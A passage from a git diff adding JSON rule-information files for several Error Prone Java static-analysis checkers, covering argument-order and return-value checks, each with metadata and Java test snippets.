first;\n default -> \"\";\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AssertEqualsArgumentOrderChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AssertEqualsArgumentOrderChecker.json new file mode 100644 index 0000000..50555d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AssertEqualsArgumentOrderChecker.json @@ -0,0 +1,126 @@ +{ + "name": "AssertEqualsArgumentOrderChecker", + "language": "java", + "description": "Arguments are swapped in assertEquals-like call", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 18, + "apis": 3, + "test": [ + { + "description": "assertEqualsCheck_makesNoSuggestion_withOrderExpectedActual", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n assertEquals(expected, actual);\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoSuggestion_withOrderExpectedActualAndMessage", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(String message, Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n assertEquals(\"\", expected, actual);\n }\n }" + }, + { + "description": "assertEqualsCheck_swapsArguments_withOrderActualExpected", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n // BUG: Diagnostic contains: assertEquals(expected, actual)\n // assertEquals(/* expected= */actual, /* actual= */expected)\n assertEquals(actual, expected);\n }\n }" + }, + { + "description": "assertEqualsCheck_swapsArguments_withOrderActualExpectedAndMessage", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(String message, Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n // BUG: Diagnostic contains: assertEquals(\"\", expected, actual)\n assertEquals(\"\", actual, expected);\n }\n }" + }, + { + "description": "assertEqualsCheck_swapsArguments_withOnlyExpectedAsPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n abstract Object get();\n\n void test(Object expectedValue) {\n // BUG: Diagnostic contains: assertEquals(expectedValue, get())\n assertEquals(get(), expectedValue);\n }\n }" + }, + { + "description": "assertEqualsCheck_swapsArguments_withLiteralForActual", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object other) {\n // BUG: Diagnostic contains: assertEquals(1, other)\n assertEquals(other, 1);\n }\n }" + }, + { + "description": "assertEqualsCheck_doesntSwap_withLiteralForExpected", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(String message, Object expected, Object actual) {}\n ;\n\n void test(Object other) {\n assertEquals(\"\", 1, other);\n }\n }" + }, + { + "description": "assertEqualsCheck_makeNoChange_withLiteralForBoth", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test() {\n assertEquals(2, 1);\n }\n }" + }, + { + "description": "assertEqualsCheck_makeNoChange_ifSwapCreatesDuplicateCall", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n assertEquals(expected, actual);\n assertEquals(actual, expected);\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoChange_withNothingMatching", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object other1, Object other2) {\n assertEquals(other1, other2);\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoChange_whenArgumentExtendsThrowable", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Exception exception) {\n try {\n throw exception;\n } catch (Exception expected) {\n assertEquals(exception, expected);\n }\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoChange_whenArgumentIsEnumMember", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n enum MyEnum {\n VALUE\n }\n\n void test(MyEnum expected) {\n assertEquals(MyEnum.VALUE, expected);\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoChange_withReturnedEnum", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n enum MyEnum {}\n\n abstract MyEnum enumValue();\n\n void test(Object other) {\n assertEquals(other, enumValue());\n }\n }" + }, + { + "description": "assertEqualsCheck_makesNoChange_withCommentedNames", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "abstract class ErrorProneTest {\n static void assertEquals(Object expected, Object actual) {}\n ;\n\n void test(Object expected, Object actual) {\n assertEquals(/* expected= */ actual, /* actual= */ expected);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AutoValueConstructorOrderChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AutoValueConstructorOrderChecker.json new file mode 100644 index 0000000..39d2026 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AutoValueConstructorOrderChecker.json @@ -0,0 +1,38 @@ +{ + "name": "AutoValueConstructorOrderChecker", + "language": "java", + "description": "Arguments to AutoValue constructor are in the wrong order", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "autoValueChecker_detectsSwap_withExactNames", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOne, String valueTwo) {\n // BUG: Diagnostic contains: new AutoValue_Test(valueOne, valueTwo)\n return new AutoValue_Test(valueTwo, valueOne);\n }\n }\n\n class AutoValue_Test extends Test {\n String valueOne() {\n return null;\n }\n\n String valueTwo() {\n return null;\n }\n\n AutoValue_Test(String valueOne, String valueTwo) {}\n }" + }, + { + "description": "autoValueChecker_ignoresSwap_withInexactNames", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOneArg, String valueTwoArg) {\n return new AutoValue_Test(valueTwoArg, valueOneArg);\n }\n }\n\n class AutoValue_Test extends Test {\n String valueOne() {\n return null;\n }\n\n String valueTwo() {\n return null;\n }\n\n AutoValue_Test(String valueOne, String valueTwo) {}\n }" + }, + { + "description": "autoValueChecker_makesNoSuggestion_withCorrectOrder", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOne, String valueTwo) {\n return new AutoValue_Test(valueOne, valueTwo);\n }\n }\n\n class AutoValue_Test extends Test {\n String valueOne() {\n return null;\n }\n\n String valueTwo() {\n return null;\n }\n\n AutoValue_Test(String valueOne, String valueTwo) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/BuilderReturnThis.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/BuilderReturnThis.json new file mode 100644 index 0000000..480a830 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/BuilderReturnThis.json @@ -0,0 +1,30 @@ +{ + "name": "BuilderReturnThis", + "language": "java", + "description": "Builder instance method does not return 'this'", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n static class TestBuilder {\n static TestBuilder builder() {\n return new TestBuilder();\n }\n\n Test build() {\n return new Test();\n }\n\n TestBuilder setFoo(String foo) {\n return this;\n }\n\n TestBuilder setBar(String bar) {\n return this;\n }\n\n TestBuilder setBaz(String baz) {\n return setFoo(baz).setBar(baz);\n }\n\n TestBuilder setTernary(String baz) {\n return true ? setFoo(baz) : this;\n }\n\n TestBuilder setCast(String baz) {\n return (TestBuilder) this;\n }\n\n TestBuilder setParens(String bar) {\n return (this);\n }\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "class Test {\n static class TestBuilder {\n TestBuilder setBar(String bar) {\n return new TestBuilder();\n }\n\n TestBuilder setTernary(String baz) {\n return true ? new TestBuilder() : this;\n }\n }\n }\n \n\n import com.google.errorprone.annotations.CheckReturnValue;\n\n class Test {\n static class TestBuilder {\n @CheckReturnValue\n TestBuilder setBar(String bar) {\n return new TestBuilder();\n }\n\n @CheckReturnValue\n TestBuilder setTernary(String baz) {\n return true ? new TestBuilder() : this;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/CanIgnoreReturnValueSuggester.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/CanIgnoreReturnValueSuggester.json new file mode 100644 index 0000000..7dce2a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/CanIgnoreReturnValueSuggester.json @@ -0,0 +1,358 @@ +{ + "name": "CanIgnoreReturnValueSuggester", + "language": "java", + "description": "Methods that always return 'this' (or return an input parameter) should be annotated with @com.google.errorprone.annotations.CanIgnoreReturnValue", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 318, + "branches": 41, + "apis": 8, + "test": [ + { + "description": "simpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "b362106953_returnThis", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Client setName(String name) {\n return this;\n }\n }" + }, + { + "description": "b362106953_returnParam", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String setName(String name) {\n return name;\n }\n }" + }, + { + "description": "parenthesizedCastThis", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n return ((Client) (this));\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return ((Client) (this));\n }\n }" + }, + { + "description": "returnsInputParam", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String method(String name) {\n System.out.println(name);\n return name;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public String method(String name) {\n System.out.println(name);\n return name;\n }\n }" + }, + { + "description": "returnsInputParam_intParam", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public int method(int value) {\n value = 42;\n return value;\n }\n }" + }, + { + "description": "returnsInputParam_withParens", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String method(String name) {\n return (name);\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public String method(String name) {\n return (name);\n }\n }" + }, + { + "description": "returnInputParams_multipleParams", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "package com.google.frobber;\n\n public final class ReturnInputParam {\n public static StringBuilder append(StringBuilder input, String name) {\n input.append(name);\n return input;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class ReturnInputParam {\n @CanIgnoreReturnValue\n public static StringBuilder append(StringBuilder input, String name) {\n input.append(name);\n return input;\n }\n }" + }, + { + "description": "returnInputParams_moreComplex", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "package com.google.frobber;\n\n public final class ReturnInputParam {\n public static StringBuilder append(StringBuilder input, String name) {\n input.append(\"name = \").append(name);\n return input;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class ReturnInputParam {\n @CanIgnoreReturnValue\n public static StringBuilder append(StringBuilder input, String name) {\n input.append(\"name = \").append(name);\n return input;\n }\n }" + }, + { + "description": "returnsInputParamWithMultipleReturns", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String method(String a, String b) {\n if (System.currentTimeMillis() > 0) {\n return a;\n }\n return b;\n }\n }" + }, + { + "description": "returnsInputParamWithMultipleReturns_oneReturnIsConstant", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String method(String a, String b) {\n if (System.currentTimeMillis() > 0) {\n return a;\n }\n return \"hi\";\n }\n }" + }, + { + "description": "returnsInputParamWithTernary", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public String method(String a, String b) {\n return (System.currentTimeMillis() > 0) ? a : b;\n }\n }" + }, + { + "description": "builder_abstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "package com.google.frobber;\n\n public abstract class Builder {\n public abstract Builder setName(String name);\n\n public abstract Builder enableDeathStar();\n\n public abstract Builder clone();\n\n public abstract Builder copy();\n\n public abstract Builder getCopy();\n\n public abstract Builder newBuilder();\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public abstract class Builder {\n @CanIgnoreReturnValue\n public abstract Builder setName(String name);\n\n @CanIgnoreReturnValue\n public abstract Builder enableDeathStar();\n\n public abstract Builder clone();\n\n public abstract Builder copy();\n\n public abstract Builder getCopy();\n\n public abstract Builder newBuilder();\n }" + }, + { + "description": "builder_interface", + "expected-problems": null, + "expected-linenumbers": [ + 399 + ], + "code": "package com.google.frobber;\n\n public interface Builder {\n Builder setName(String name);\n\n Builder enableDeathStar();\n\n Builder copy();\n\n Builder clone();\n\n Builder newBuilder();\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public interface Builder {\n @CanIgnoreReturnValue\n Builder setName(String name);\n\n @CanIgnoreReturnValue\n Builder enableDeathStar();\n\n Builder copy();\n\n Builder clone();\n\n Builder newBuilder();\n }" + }, + { + "description": "autoValueBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 443 + ], + "code": "package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n abstract int numberOfLegs();\n\n static Builder builder() {\n return null;\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract Builder setNumberOfLegs(int value);\n\n abstract Animal build();\n }\n }" + }, + { + "description": "returnSelf_b234875737", + "expected-problems": null, + "expected-linenumbers": [ + 477 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n return self();\n }\n\n private Client self() {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return self();\n }\n\n private Client self() {\n return this;\n }\n }" + }, + { + "description": "returnGetThis", + "expected-problems": null, + "expected-linenumbers": [ + 522 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n return getThis();\n }\n\n private Client getThis() {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return getThis();\n }\n\n private Client getThis() {\n return this;\n }\n }" + }, + { + "description": "simpleCaseAlreadyAnnotatedWithCirv", + "expected-problems": null, + "expected-linenumbers": [ + 567 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "alreadyAnnotatedWithProtobufCirv_b356526159", + "expected-problems": null, + "expected-linenumbers": [ + 591 + ], + "code": "package com.google.protobuf;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "alreadyAnnotatedWithArbitraryCirv_b356526159", + "expected-problems": null, + "expected-linenumbers": [ + 613 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @interface CanIgnoreReturnValue {}\n\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "simpleCaseAlreadyAnnotatedWithCrv", + "expected-problems": null, + "expected-linenumbers": [ + 637 + ], + "code": "" + }, + { + "description": "simpleCaseWithNestedLambda", + "expected-problems": null, + "expected-linenumbers": [ + 656 + ], + "code": "package com.google.frobber;\n\n import java.util.function.Function;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n new Function() {\n @Override\n public String apply(String in) {\n return \"kurt\";\n }\n };\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import java.util.function.Function;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n new Function() {\n @Override\n public String apply(String in) {\n return \"kurt\";\n }\n };\n return this;\n }\n }" + }, + { + "description": "anotherMethodDoesntReturnThis", + "expected-problems": null, + "expected-linenumbers": [ + 706 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n\n public Client getValue2() {\n return new Client();\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n\n public Client getValue2() {\n return new Client();\n }\n }" + }, + { + "description": "nestedCase", + "expected-problems": null, + "expected-linenumbers": [ + 751 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n if (true) {\n return new Client();\n }\n return this;\n }\n }" + }, + { + "description": "nestedCaseBothReturningThis", + "expected-problems": null, + "expected-linenumbers": [ + 775 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n if (true) {\n return this;\n }\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n if (true) {\n return this;\n }\n return this;\n }\n }" + }, + { + "description": "capitalVoidReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 818 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Void getValue() {\n return null;\n }\n }" + }, + { + "description": "lowerVoidReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 836 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Void getValue() {\n return null;\n }\n }" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 854 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Client() {}\n }" + }, + { + "description": "refasterAfterTemplate", + "expected-problems": null, + "expected-linenumbers": [ + 870 + ], + "code": "import com.google.errorprone.refaster.annotation.AfterTemplate;\n\n class A {\n static final class MethodLacksBeforeTemplateAnnotation {\n @AfterTemplate\n String after(String str) {\n return str;\n }\n }\n }" + }, + { + "description": "sometimesThrows", + "expected-problems": null, + "expected-linenumbers": [ + 891 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n this.name = name;\n if (true) throw new UnsupportedOperationException();\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n private String name;\n\n @CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n if (true) throw new UnsupportedOperationException();\n return this;\n }\n }" + }, + { + "description": "alwaysThrows", + "expected-problems": null, + "expected-linenumbers": [ + 930 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public Client setName(String name) {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "simpleCaseWithSimpleNameConflict", + "expected-problems": null, + "expected-linenumbers": [ + 950 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public @interface CanIgnoreReturnValue {}\n\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n public final class Client {\n private String name;\n\n public @interface CanIgnoreReturnValue {}\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public Client setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "onlyReturnsThis_b236423646", + "expected-problems": null, + "expected-linenumbers": [ + 989 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Client getFoo() {\n return this;\n }\n }" + }, + { + "description": "onlyReturnsSelf_b236423646", + "expected-problems": null, + "expected-linenumbers": [ + 1007 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public Client getFoo() {\n return self();\n }\n\n public Client self() {\n return this;\n }\n }" + }, + { + "description": "delegateToCirvMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1029 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import java.util.Arrays;\n import java.util.List;\n\n public final class Client {\n public Client setFoo(String... args) {\n return setFoo(Arrays.asList(args));\n }\n\n public Client setFoos(String... args) {\n return this.setFoo(Arrays.asList(args));\n }\n\n @CanIgnoreReturnValue\n public Client setFoo(List args) {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import java.util.Arrays;\n import java.util.List;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client setFoo(String... args) {\n return setFoo(Arrays.asList(args));\n }\n\n @CanIgnoreReturnValue\n public Client setFoos(String... args) {\n return this.setFoo(Arrays.asList(args));\n }\n\n @CanIgnoreReturnValue\n public Client setFoo(List args) {\n return this;\n }\n }" + }, + { + "description": "converter_b240039465", + "expected-problems": null, + "expected-linenumbers": [ + 1085 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n abstract class Parent {\n @CanIgnoreReturnValue\n X doFrom(String in) {\n return from(in);\n }\n\n abstract X from(String value);\n }" + }, + { + "description": "immutableBuilder_b265049495", + "expected-problems": null, + "expected-linenumbers": [ + 1123 + ], + "code": "package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class AnimalBuilder {\n abstract String name();\n\n public AnimalBuilder withName(String name) {\n return builder().setName(name).build();\n }\n\n static Builder builder() {\n return null;\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract AnimalBuilder build();\n }\n }" + }, + { + "description": "providesMethod_b267362954", + "expected-problems": null, + "expected-linenumbers": [ + 1157 + ], + "code": "package com.google.frobber;\n\n public final class Example {\n static CharSequence provideName(String name) {\n return name;\n }\n }" + }, + { + "description": "exemptedByCustomAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 1175 + ], + "code": "package example;\n\n @interface Foo {}\n \n\n package example;\n\n public final class ExemptedByCustomAnnotation {\n private String name;\n\n @Foo\n public ExemptedByCustomAnnotation setName(String name) {\n this.name = name;\n return this;\n }\n }" + }, + { + "description": "daggerComponentBuilder_b318407972", + "expected-problems": null, + "expected-linenumbers": [ + 1206 + ], + "code": "package com.google.frobber;\n\n import dagger.Component;\n\n @Component.Builder\n interface Builder {\n Builder setName(String name);\n\n String build();\n }" + }, + { + "description": "daggerSubcomponentBuilder_b318407972", + "expected-problems": null, + "expected-linenumbers": [ + 1227 + ], + "code": "package com.google.frobber;\n\n import dagger.Subcomponent;\n\n @Subcomponent.Builder\n interface Builder {\n Builder setName(String name);\n\n String build();\n }" + }, + { + "description": "anonymous", + "expected-problems": null, + "expected-linenumbers": [ + 1248 + ], + "code": "import java.util.function.Function;\n\n public final class Test {\n public void setName() {\n var o =\n new Function() {\n @Override\n public Function apply(Function in) {\n return in;\n }\n };\n }\n }" + }, + { + "description": "returningANewInstance", + "expected-problems": null, + "expected-linenumbers": [ + 1272 + ], + "code": "public final class MyBuilder {\n MyBuilder() {}\n\n MyBuilder(String name) {}\n\n MyBuilder(MyBuilder builder) {}\n\n public MyBuilder passingParam(String name) {\n return new MyBuilder(name);\n }\n\n public MyBuilder passingThis() {\n return new MyBuilder(this);\n }\n\n public MyBuilder notPassing() {\n return new MyBuilder();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/NoCanIgnoreReturnValueOnClasses.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/NoCanIgnoreReturnValueOnClasses.json new file mode 100644 index 0000000..78b40ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/NoCanIgnoreReturnValueOnClasses.json @@ -0,0 +1,102 @@ +{ + "name": "NoCanIgnoreReturnValueOnClasses", + "language": "java", + "description": "@CanIgnoreReturnValue should not be applied to classes as it almost always overmatches (as it applies to constructors and all methods), and the CIRVness isn't conferred to its subclasses.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 203, + "branches": 19, + "apis": 8, + "test": [ + { + "description": "simpleCase_returnsThis", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client getValue() {\n return this;\n }\n }" + }, + { + "description": "simpleCase_returnsParenthesizedCastThis", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return ((Client) (this));\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client getValue() {\n return ((Client) (this));\n }\n }" + }, + { + "description": "simpleCase_returnsSelf", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return self();\n }\n\n private Client self() {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client getValue() {\n return self();\n }\n\n @CanIgnoreReturnValue\n private Client self() {\n return this;\n }\n }" + }, + { + "description": "simpleCase_returnsGetThis", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return getThis();\n }\n\n private Client getThis() {\n return this;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client getValue() {\n return getThis();\n }\n\n @CanIgnoreReturnValue\n private Client getThis() {\n return this;\n }\n }" + }, + { + "description": "simpleCase_returnsNewInstance", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return new 